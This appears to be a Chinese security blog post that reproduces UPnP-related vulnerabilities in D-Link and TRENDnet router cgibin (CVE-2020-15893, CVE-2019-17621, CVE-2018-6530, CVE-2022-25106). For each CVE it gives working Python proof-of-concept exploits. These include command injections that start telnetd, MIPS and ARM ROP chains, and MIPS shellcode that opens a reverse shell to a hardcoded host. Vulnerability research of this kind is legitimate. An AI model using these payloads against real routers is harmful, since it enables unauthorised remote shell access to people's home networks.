<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    cgibin中與upnp協議有關的一些漏洞分析與復現

    一顆小胡椒2022-06-13 16:16:04

    前言

    UPNP協議

    UPNP,全稱為:Universal Plug and Play,中文為:通用即插即用,是一套基于TCP/IP、UDP和HTTP的網絡協議。

    簡單來說,就和它的名字一樣,UPNP的目的就是為了在某個設備接入網絡后,該網絡中的所有設備都知道有新設備加入,這些設備之間能互相溝通,甚至可直接使用或控制對方。

    UPNP的一大亮點就是,只要某設備支持并開啟了UPNP,當主機向其發出端口映射請求的時候,該設備就會自動為主機分配端口并進行端口映射。

    cgibin

    在D-Link,TRENDnet等apache struct的路由器的/htdocs目錄下都存在一個cgibin二進制文件,它會有很多.cgi文件的軟鏈接,通過運行這些軟鏈接,其名字會作為第一個參數傳入cgibin,就會調用到cgibin中對應的函數。

    cgibin會作為 “請求驗證文件” ,對用戶的請求進行驗證并解析,再將解析后的數據傳給對應的文件,進行下一步的操作。

    upnp相關的cgi

    下圖為UPNP協議棧的結構示意圖:

     

    可以看到其中的 SSDP(簡單服務發現協議),SOAP(簡單對象訪問協議)與GENA(通用事件通知體系) ,其分別對應ssdpcgi(在/htdocs/upnp目錄下),soap.cgi(在/htdocs/upnp/docs/LAN-1目錄下),gena.cgi(在/htdocs/upnp/docs/LAN-1目錄下),本文也主要是分析這幾個cgi在cgibin中對應函數的漏洞。

    FAP (firmware-analysis-plus)

    由于牽涉到UPNP協議,用qemu來模擬是比較復雜的,需要手動初始化一些東西,因此筆者為了方便,選擇使用FAP來仿真模擬固件運行,這個平臺基于firmadyne,對其做了一些優化及改進,GitHub的項目地址為:firmware-analysis-plus(https://github.com/liyansong2018/firmware-analysis-plus)。

    該平臺的優點是:可以做到一鍵仿真模擬固件運行,缺點是:適配性較差,最好在Kali上安裝使用,筆者所用的物理機是Kali 2021.11的版本。

    此外,經過筆者測試,該平臺對大部分MIPS架構的固件模擬都沒有問題,但是對部分ARM架構(特別是D-Link系列高版本路由)的固件模擬好像會出一些問題。

    關于ARM無法成功仿真模擬的問題,筆者已經在github上提交了issue咨詢了作者,并且得到了回復:

     

    筆者后來又找到了另一個優秀的“固件仿真框架”EMUX,這是一個基于docker的框架,主要針對于arm架構的仿真模擬,近期也支持了mips架構,根據官方的描述,可以對DIR860以上的arm架構路由進行模擬運行。

    2022.5.7更新:

    這篇文章其實是挺久前寫的了,昨天剛發出來,今天就收到了FAP項目作者的回復,說是已經修復了D-Link系列高版本arm路由無法仿真的問題:

     

     

    筆者立即測試了一下,的確是修復了該問題,接著,筆者又嘗試用FAP模擬運行了TP-Link,Tenda等品牌中多款arm的固件,都能夠成功。

    從目前各方面綜合來看,FAP項目是仿真模擬IoT固件的極好的選擇。

    注:以下復現的CVE所影響的路由器為D-Link DIR-859及以下的版本,以及部分D-Link DIR-859以上的較低小版本,TRENDnet的很多路由器因框架相同,也受其影響。

    CVE-2020-15893

    漏洞信息:CVE-2020-15893(https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15893

    這個CVE與ssdpcgi有關,我們先來分析cgibin中的ssdpcgi_main函數,可以很輕松地定位到可能的漏洞點在LABEL_17這里:

    進入lxmldbc_system函數:

    可以看到這里是用vsnprintf對傳進來的格式化字符串進行了拼接,其中va是通過va_arg取當前棧上的元素組成的va_list,通過動態調試不難發現,這里取的棧上的元素就是存放在棧上的環境變量:

    在真機環境中,這里只有HTTP_ST是我們可控的。

    當我們向HTTP_ST注入惡意指令,那么拼接好的字符串v6作為system參數,就可以導致任意命令執行(RCE)漏洞了。

    再回到ssdpcgi_main詳細分析一下該如何構造payload:

    可以發現,進行一堆匹配驗證,最后的格式化字符串只有下面兩個會多出一個參數%s的拼接,我們再看到匯編:

    這里的第二個參數為/etc/scripts/upnp/M-SEARCH.sh,第三四個參數可以往上查找到,分別是REMOTE_ADDR和REMOTE_PORT:

    結合格式化字符串,可以猜測并通過動調驗證出,最后在lxmldbc_system函數中拼接好的system的參數應為 /etc/scripts/upnp/M-SEARCH.sh XXX REMOTE_ADDR:REMOTE_PORT SERVER_ID HTTP_ST & ,因此,想要造成RCE,也就是要讓HTTP_ST拼接上去,就必須要選用后面兩個格式化字符串(device和service),也就需要之前有urn:才行。

    綜上,我們初步構造的payload可以是向HTTP_ST注入urn:device:;telnetd -p 8888,由于此busybox自帶了telnetd,這里用telnetd開一個端口,再從主機遠程登陸進去是最方便的。

    我們知道ssdpcgi和UPNP協議有關,也就是要發送報文到UPNP相關的端口,所以先用FAP模擬運行起固件,然后打開/var/run/httpd.conf文件,可以找到:

    也就是說,要向1900端口發送報文,才能走到ssdpcgi。

    然而,發送一段報文,肯定是需要請求方式的,在cgibin中不好直接看出來,可以到/usr/sbin/upnp文件中去找ST字段的關鍵詞定位:

    可以看到sub_41BFDC函數中有對其的操作,再交叉引用到調用sub_41BFDC的sub_41C2A0函數,這里要求我們的請求方式是M-SEARCH:

    上圖中的v10是調用ILibParsePacketHeader對a1 + 108的數據包解析的結果,而a1 + 108是接收到的socket套接字儲存的地方:

    在sub_415C9C中也可以看到,把socket綁定到了1900端口:

    再回到有對ST字段進行匹配操作的sub_41BFDC函數,可以看到首先需要繞過下面圈出的判斷,這里的1.1顯然就是HTTP版本:

    綜上,從upnp二進制文件中可以看到,我們得是M-SEARCH請求方式,故:報文頭應為M-SEARCH * HTTP/1.1。

    POC:

    # python3from socket import *from os import *from time import * payload = b'M-SEARCH * HTTP/1.1\r'payload += b'HOST:localhost:1900\r'payload += b'ST:urn:device:;telnetd -p 8888\r\r' s = socket(AF_INET, SOCK_DGRAM, 0)s.sendto(payload, ("192.168.10.1", 1900))s.close() sleep(1)system("telnet 192.168.10.1 8888")
    

    最終成功開啟了8888端口,利用telnet遠程登陸到了路由器固件中,可執行任意命令:

    通過ps命令查看進程,可以發現telnetd -p 8888命令的確已經被成功執行:

    CVE-2019-17621

    漏洞信息:CVE-2019-17621(https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17621

    這個漏洞與gena.cgi有關,還是先看到cgibin中的genacgi_main函數:

    可以看到v5是service=后面的內容,再先看到SUBCRIBE請求方式對應的sub_41A390函數:

    看到這里,拼接好的字符串v16作為了xmldbc_ephp的參數,xmldbc_ephp函數在這里顯然就是運行了/htdocs/upnp/run.NOTIFY.php文件,于是,我們再來分析這個文件:

    當SID為空的時候,調用了GENA_subscribe_new函數,這個函數在/htdocs/upnpinc/gena.php中:

    這里有對HOST的檢查,然后最后調用到了GENA_notify_init函數:

     

    在最后,將$shell_file寫入了shell文件中,不難想到,可以通過控制shell_file達成任意命令執行。

    再看回到sub_41A390函數中,既然HTTP_SID必須為空才能走到漏洞點,那么自然就走到了else分支:

    這些檢查都需要繞過,才能走到xmldbc_ephp函數:

    這里的SHELL_FILE中可控參數a1就是從genacgi_main傳進來的參數v5,也就是service=后面的內容。

    綜上,可以通過對service注入惡意指令,造成RCE漏洞 。

    至此,我們知道了報文的請求方式得是SUBSCRIBE才能觸發漏洞,至于UNSUBSCRIBE和SID不為空的情況可以自行審一遍代碼,很容易看出是行不通的。

    接下來要做的就是找的對應的UPNP端口,先找gena.cgi在哪里,看到/etc/services/HTTP/httpsvcs.php文件:

    這里將cgibin的軟鏈接建到了/var/htdocs/upnp/目錄下,而這個目錄也有軟鏈接,為/htdocs/upnp/docs:

     

    得到了這些信息,再看到/var/run/httpd.conf文件:

     

    可以看到,需要向49152端口發送報文。

    POC:

    from pwn import *from socket import *from os import *from time import * request = b"SUBSCRIBE /gena.cgi?service=" + b"`telnetd -p 7777`" + b" HTTP/1.1\r"request += b"Host: localhost:49152\r"request += b"Callback: http:///\r"request += b"NT: upnp:event\r"request += b"Timeout: Second-2333\r\r" s = socket(AF_INET, SOCK_STREAM)s.connect((gethostbyname("192.168.0.1"), 49152))s.send(request) #io = remote("192.168.0.1", 49152)#io.send(request) sleep(1)os.system('telnet 192.168.0.1 7777')
    

    這里拿socket或pwntools來打都是OK的:

    或者直接nc上49152端口手動發送報文:

    CVE-2018-6530

    漏洞信息:CVE-2018-6530(https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6530

    這個漏洞是在soap.cgi中的,還是看到cgibin中的soapcgi_main函數:

    首先需要繞過一些檢查,比如CONTENT_TYPE得是text/xml,REQUEST_METHOD得是POST,HTTP_SOAPACTION中得有#等,可以看到這里對service后的內容已經進行了一些過濾,但是 貌似忘記過濾了&符號 。

    接著往下看:

    這里的cgibin_parse_request已經很熟悉了,就是對POST內容的解析,在這里用處不大,就注意設置一下相關環境變量即可。

    再下面就來到漏洞點了:

    這個fopen的第二個參數是a+,文件不存在就會創建,所以這個if很好判斷過,下面的sprintf + system很顯然存在一個任意命令執行的RCE漏洞。

    之前說過,&忘記過濾了,因此我們可以用&&連接惡意命令并注入到service中,由于之前的sh /var/run/是個合法路徑,因此算執行成功,可以走到&&之后的惡意命令。

    在上一個CVE中已經分析過了,soap.cgi也是通過49152端口發送報文給UPNP的 。

    POC:

    from socket import *from os import *from time import * request = b"POST /soap.cgi?service=&&telnetd -p 8888&& HTTP/1.1\r"request += b"Host: localhost:49152\r"request += b"Content-Type: text/xml\r"request += b"Content-Length: 88\r"request += b"SOAPAction: a#b\r\r" s = socket(AF_INET, SOCK_STREAM)s.connect((gethostbyname("192.168.0.1"), 49152))s.send(request) sleep(1)system('telnet 192.168.0.1 8888')
    

    CVE-2022-25106

    漏洞信息:CVE-2022-25106(https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25106

    這個漏洞仍然是在gena.cgi中,不過這次是存在緩沖區溢出的漏洞:

    上圖是當為UNSUBSCRIBE請求方式時走到的函數,很容易看出存在一處棧溢出的漏洞,且當請求方式為SUBSCRIBE時,也存在同樣的棧溢出漏洞。

    需要提一下的就是,這里的SERVER_ID環境變量可以從httpd.conf文件中看到:

    這個環境變量本身就不為空,也不是我們可控的,在這個棧溢出漏洞中,我們可以對service或HTTP_SID進行payload的注入,進行漏洞利用或造成拒絕服務。

    這里需要注意的是:用FAP啟動好固件后,需要用echo 0 > /proc/sys/kernel/randomize_va_space命令關閉地址隨機化(ASLR),因為在真機環境中就是沒開ASLR的,也方便我們接下來的復現:

    POC-1:

    用UNSUBSCRIBE的請求方式,對service進行了注入。

    # python3from pwn import *from socket import *from os import *from time import *context(os = 'linux', arch = 'mips') libc_base = 0x2aaf8000 s = socket(AF_INET, SOCK_STREAM) cmd = b'telnetd -l /bin/sh;'payload = b'a'*462payload += p32(libc_base + 0x53200 - 1) # s0  system_addr - 1payload += p32(libc_base + 0x169C4) # s1  addiu $s2, $sp, 0x18 (=> jalr $s0)payload += b'a'*4 # fppayload += p32(libc_base + 0x32A98) # ra  addiu $s0, 1 (=> jalr $s1)payload += b'a'*0x18 # paddingpayload += cmd msg = b"UNSUBSCRIBE /gena.cgi?service=" + payload + b" HTTP/1.1\r"msg += b"Host: localhost:49152\r"msg += b"SID: 1\r\r" s.connect((gethostbyname("192.168.10.1"), 49152))s.send(msg) sleep(1)system("telnet 192.168.10.1 23")
    

    成功地遠程登陸到了路由固件中:

    檢測到23號端口的telnet服務已被開啟:

    POC-2:

    這個腳本在firmadyne模擬的環境中是打不通的,原因未知,可能是shellcode過長,到了一些不可執行區,但是在真機環境是可以打通的。

    這里用的是SUBSCRIBE的請求方式,對service進行了注入。

    # python3from pwn import *from socket import *from os import *from time import *context(os = 'linux', arch = 'mips') libc_base = 0x2aaf8000 s = socket(AF_INET, SOCK_STREAM) payload = b'a'*449payload += b'a'*4 # s0payload += p32(libc_base + 0x3E874) # s1  move $t9, $s2 (=> lw... => jr $t9)payload += p32(libc_base + 0x56BD0) # s2  sleeppayload += b'a'*(4*5)payload += p32(libc_base + 0x57E50) # ra  li $a0, 1 (=> jalr $s1) payload += b'a'*0x18payload += b'a'*4 # s0payload += p32(libc_base + 0x37E6C) # s1  move  $t9, $a1 (=> jr $t9)payload += b'a'*4 # s2payload += p32(libc_base + 0xB814) # ra  addiu $a1, $sp, 0x18 (=> jalr $s1) shellcode = asm('''    slti $a0, $zero, 0xFFFF    li $v0, 4006    syscall 0x42424     slti $a0, $zero, 0x1111    li $v0, 4006    syscall 0x42424     li $t4, 0xFFFFFFFD    not $a0, $t4    li $v0, 4006    syscall 0x42424     li $t4, 0xFFFFFFFD    not $a0, $t4    not $a1, $t4    slti $a2, $zero, 0xFFFF    li $v0, 4183    syscall 0x42424     andi $a0, $v0, 0xFFFF    li $v0, 4041    syscall 0x42424    li $v0, 4041    syscall 0x42424     lui $a1, 0xB821 # Port: 8888    ori $a1, 0xFF01    addi $a1, $a1, 0x0101    sw $a1, -8($sp)     li $a1, 0x68FAA8C0 # IP: 192.168.250.104    sw $a1, -4($sp)    addi $a1, $sp, -8     li $t4, 0xFFFFFFEF    not $a2, $t4    li $v0, 4170    syscall 0x42424     lui $t0, 0x6962    ori $t0, $t0,0x2f2f    sw $t0, -20($sp)     lui $t0, 0x6873    ori $t0, 0x2f6e    sw $t0, -16($sp)     slti $a3, $zero, 0xFFFF    sw $a3, -12($sp)    sw $a3, -4($sp)     addi $a0, $sp, -20    addi $t0, $sp, -20    sw $t0, -8($sp)    addi $a1, $sp, -8     addiu $sp, $sp, -20     slti $a2, $zero, 0xFFFF    li $v0, 4011    syscall 0x42424''')payload += b'a'*0x18payload += shellcode msg = b"SUBSCRIBE /gena.cgi?service=" + payload + b" HTTP/1.1\r"msg += b"Host: localhost:49152\r"msg += b"SID: 1\r"msg += b"Timeout: Second-2333\r\r" s.connect((gethostbyname("192.168.250.1"), 49152))s.send(msg)
    

    POC-3:

    發現DIR-860L v2.03竟然還存在這個漏洞,于是也打了一下,這里注入的是HTTP_SID,又由于uClibc版本換了,所以gadget也有些變化:

    # python3from pwn import *from socket import *from os import *from time import *context(os = 'linux', arch = 'mips') libc_base = 0x2aabf000 s = socket(AF_INET, SOCK_STREAM) cmd = b'telnetd -p 8888;'payload = b'a'*437payload += b'a'*4 # s0payload += p32(libc_base + 0x398A4) # s1  move $a0, $s4 ... jalr $fppayload += p32(libc_base + 0x56C20) # fp  systempayload += p32(libc_base + 0x3B2B0) # ra  addiu $s4, $sp, 0x28 ... jalr $s1payload += b'a'*0x28 # paddingpayload += cmd msg = b"UNSUBSCRIBE /gena.cgi?service=0 HTTP/1.1\r"msg += b"Host: localhost:49152\r"msg += b"SID: " + payload + b"\r\r" s.connect((gethostbyname("192.168.0.1"), 49152))s.send(msg) sleep(1)system("telnet 192.168.0.1 8888")
    

     

    POC-4:

    發現DIR-880L v1.0雖然架構換成了armel,但是這個漏洞仍然是存在的。

    不過,FAP對部分arm架構的固件的仿真運行有些問題,筆者也還不太會用EMUX,沒成功啟動固件,目前又沒有真機的測試條件,就先貼一下POC(這里的gadget在本地的qemu測試過,是可以跑通的):

    2022.5.7更新:FAP項目作者已經修復了D-LINK系列高版本arm路由無法仿真模擬的問題,下面給出的是最終測試通過的POC。

    # python3from pwn import *from socket import *from os import *from time import *context(os = 'linux', arch = 'arm') libc_base = 0xb6f7e000 s = socket(AF_INET, SOCK_STREAM) cmd = b'telnetd -l /bin/sh;'payload = b'a'*462payload += b'a'*4 # r4payload += b'a'*4 # r5payload += b'a'*4 # r11payload += p32(libc_base + 0x169a0) # pop {r2, r3, r4, pc};payload += b'a'*4payload += p32(libc_base + 0x406f8) # mov r0, r1; pop {r3, pc};payload += b'a'*4payload += p32(libc_base + 0x390fc) # pc add r1, sp, #0x2c; blx r3;payload += b'a'*4 # r3payload += p32(libc_base + 0x5a270) # pc systempayload += b'a'*(0x2c-8) # paddingpayload += cmd msg = b"UNSUBSCRIBE /gena.cgi?service=" + payload + b" HTTP/1.1\r"msg += b"Host: localhost:49152\r"msg += b"SID: 1\r\r" s.connect((gethostbyname("192.168.0.1"), 49152))s.send(msg) sleep(1)system("telnet 192.168.0.1 23")
    

    upnpsocket函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    前言UPNP協議UPNP,全稱為:Universal Plug and Play,中文為:通用即插即用,是一套基于TCP/IP、UDP和HTTP的網絡協議。UPNP的一大亮點就是,只要某設備支持并開啟了UPNP,當主機向其發出端口映射請求的時候,該設備就會自動為主機分配端口并進行端口映射。
    0x01 前言最近 UPnP 比較火,恰好手里有一臺 Cisco RV110W,在 2021 年 8 月份思科官方公布了一個 Cisco RV 系列關于 UPnP 的 0day,但是具體的細節并沒有公布出來。
    前言本來是打算來挖它的,去搜索它以往爆出的漏洞,就先復現玩玩了,這次用了三種方法來驗證,分別為用戶級模擬,系統級模擬,
    NAT穿透是如何工作的
    2022-08-11 06:32:23
    整個過程對雙方透明。本文接下來都將關注在 UDP 上。對收發包的 socket 有直接控制權。例如,從經驗上來說,無法基于某個現有的網絡庫實現 NAT 穿透,因為我們 必須在使用的“主要”協議之外,發送和接收額外的數據包。某些協議將 NAT 穿透與其他部分緊密集成。
    隨著網絡發展,很多大型企業具備較強的服務提供能力,所以應付單個請求的攻擊已經不是問題。道高一尺,魔高一丈,于是乎攻擊者就組織很多同伙,同時提出服務請求,直到服務無法訪問,這就叫“分布式”。但是在現實中,一般的攻擊者無法組織各地伙伴協同“作戰”,所以會使用“僵尸網絡”來控制N多計算機進行攻擊。
    UPnP協議易受DDoS攻擊的原因是因為它具有自動發現功能。盡管設備保護服務在UPnP協議上增加了一層額外的安全保護,但大多數UPnP設備制造商并未采用該技術。建議設備制造商默認禁用UPnP SUBSCRIBE功能,并需要用戶同意和適當的網絡限制才能啟用該功能。為了防止這些形式的攻擊,組織可以通過訪問敏感信息來禁用對IoT設備的UPnP支持。
    監控僵尸網絡的安全研究人員發現,上個月攜帶惡意有效載荷的電子郵件增加了十倍。UPnP是一組不安全的網絡協議,沒有加密和身份驗證,支持設備之間的對等通信。它還允許他們動態加入和離開網絡,獲取IP地址,宣傳他們的能力,并了解網絡上的其他UPnP設備及其能力。僵尸網絡的源代碼已經公開了半年左右,因為它是在2021年10月泄露的。這三個漏洞都是ESET研究人員發現的,并于去年10月向聯想負責地報告。
    8月18日,Cisco發布安全公告,修復了Cisco Small Business RV110W、RV130、RV130W和RV215W路由器存在遠程代碼執行和拒絕服務漏洞。建議受影響用戶通過漏洞緩解措施進行防護,做好資產自查以及預防工作。
    360漏洞云監測到Cisco Small Business RV110W、RV130、RV130W 和 RV215W 路由器存在遠程代碼執行漏洞(CVE-2021-34730)。
    360漏洞云監測到Realtek SDK存在多個嚴重或高危漏洞
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类